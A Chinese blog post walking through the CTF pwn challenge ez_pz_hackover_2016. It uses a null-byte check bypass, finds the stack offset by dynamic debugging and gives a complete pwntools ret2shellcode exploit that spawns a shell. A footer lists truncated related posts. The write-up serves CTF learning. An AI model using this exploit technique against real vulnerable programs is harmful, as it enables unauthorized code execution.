首页 > 其他分享 >ez_pz_hackover_2016

ez_pz_hackover_2016

时间:2023-12-30 23:57:52浏览次数:30  
标签:addr pz hackover io ez 2016

ez_pz_hackover_2016

bamuwe@qianenzhao:~$ checksec ez_pz_hackover_2016
[*] '/home/bamuwe/ez_pz_hackover_2016'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

image-20231230200735028

image-20231230200746307

  • 逻辑绕过
  • \x00阶段
  • 动态调试计算栈空间
  • ret2shellcode
  1. 栈保护全关,考虑ret2shellcode
  2. 通过\x00绕过前置验证,进入vuln函数
  3. vuln函数中,会把&src赋值给dest这其中存在漏洞

正常思路这里就可以构造payload了,但是这里ida分析出来的dest栈空间为0x32与实际不符合,我们需要动态调试手动查看栈空间

image-20231230201124555

停在nop处查看栈

image-20231230201222685

image-20231230201722354

手动查找得到栈实际空间为0x1a

distance计算栈之间的距离

from pwn import *
context.log_level = 'debug'
#io = process('./ez_pz_hackover_2016')
io = gdb.debug('./ez_pz_hackover_2016','break vuln')
elf = ELF('./ez_pz_hackover_2016')
io.recvuntil(b'Yippie, lets crash: ')
s_addr = int(io.recv(10),16)
print('s_addr',hex(s_addr))
payload1 = b'crashme\x00'
payload1 = payload1.ljust(0x1a,b'A')
payload1 += p32(s_addr-0x1c)+asm(shellcraft.sh())
io.sendlineafter('> ',payload1)
io.interactive()

s栈上的空间写不下shellcode所以直接把shellcode写在ret地址之后.

?这里的s_addr为什么要-0x1c还不了解,偏移后的位置正好是一个输入的栈的起始但为什么是这个值还不清楚.

这道题应该也可以通过泄露Libc的方式做,但是没有成功

标签:addr,pz,hackover,io,ez,2016
From: https://www.cnblogs.com/bamuwe/p/17937082

相关文章

  • pwn2_sctf_2016
    pwn2_sctf_2016lib地址泄露vuln()程序对输入的v2做了限制首先要利用整数绕过if(v2>32)的限制程序中没有现成的shell所以要通过printf泄露lib手动构造shellfrompwnimport*context.log_level='debug'io=process('./pwn2_sctf_2016')#io=gdb.debug('./......
  • 2016年全年回顾
    本文于2016年底完成,发布在个人博客网站上,标题为《2016年全年回顾》。考虑个人博客因某种原因无法修复,于是在博客园安家,之前发布的文章逐步搬迁过来。元旦后第一个工作日,上午请假办理宝宝的医保,比较重要;办事人员叮嘱说每年的12月10日~12月25日可以办理,以后可不能像这次拖这么久......
  • 题解 [SDOI2016] 游戏
    可以看出来出题人很想出一道把李超和别的什么东西凑起来的题目,于是给了这么一个缝合怪。https://www.luogu.com.cn/problem/P4069符号有点混乱。比如箭头又可以表示路径又可以表示赋值,代入语境应该还是好理解的。看到\(a\timesdis+b\)就应激反应出来是李超了,看到\(s\to......
  • 【APIO2016】烟火表演
    先前的题目对slopetrick的认识还不深刻,这题可以看出一个完整的构建过程。题目描述给定一棵有根树,根为\(1\),边带权,修改边权的代价时修改值与原值差的绝对值,求让所有叶子到根距离相等的最小代价。\(1\leqn\leq3\times10^5,1\leqw\leq10^9\)。算法解析首先有朴......
  • 2016.6 六级English作文
    1.机器人Directions:Forthispart,youareallowed30minutestowriteashortessayone-learning.Trytoimaginewhatwillhappenwhenmoreandmorepeoplestudyonlineinsteadofattendingschool.Youarerequiredtowriteatleast150wordsbutnomoret......
  • Windows Server 2016 中文版、英文版下载 (updated Dec 2023)
    WindowsServer2016中文版、英文版下载(updatedDec2023)WindowsServer2016Version1607,2023年12月更新请访问原文链接:https://sysin.org/blog/windows-server-2016/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org本站将不定期发布官方原版风格月度更新I......
  • Windows Server 2016 OVF, updated Dec 2023 (sysin) - VMware 虚拟机模板
    WindowsServer2016OVF,updatedDec2023(sysin)-VMware虚拟机模板2023年12月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:https://sysin.org/blog/windows-server-2016-ovf/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org现在......
  • P6922 [ICPC2016 WF] Longest Rivers 题解
    Description有\(n\)条河和\(m+1\)个交汇处构成一棵以\(0\)号点(即大海)为根的树。每条河有各自的名称。对于一个交汇处,从它流出的干流的名称是流入这个交汇处的各个支流的名称之一。一条河流的长度是以它为名称的河流的长度之和。对于一个可能的命名方案,一条河流的排名等于......
  • 重庆大学重大计算机考研917统考2016~2023年复试/录取情况
    重庆大学计算机学院917考研交流KC群进入KC群可点击下方链接:重大计算机考研KC群  添加图片注释,不超过140字(可选)  添加图片注释,不超过140字(可选)  添加图片注释,不超过140字(可选)  ......
  • 计概杂烩2016
    2016期末三角形判断#include<stdio.h>/*C语言初始模板程序*/intmain(void){inta,b,c;scanf("%d%d%d",&a,&b,&c);if(a+b>c&&a+c>b&&b+c>a)printf("yes\n");elseprintf("no\n"); r......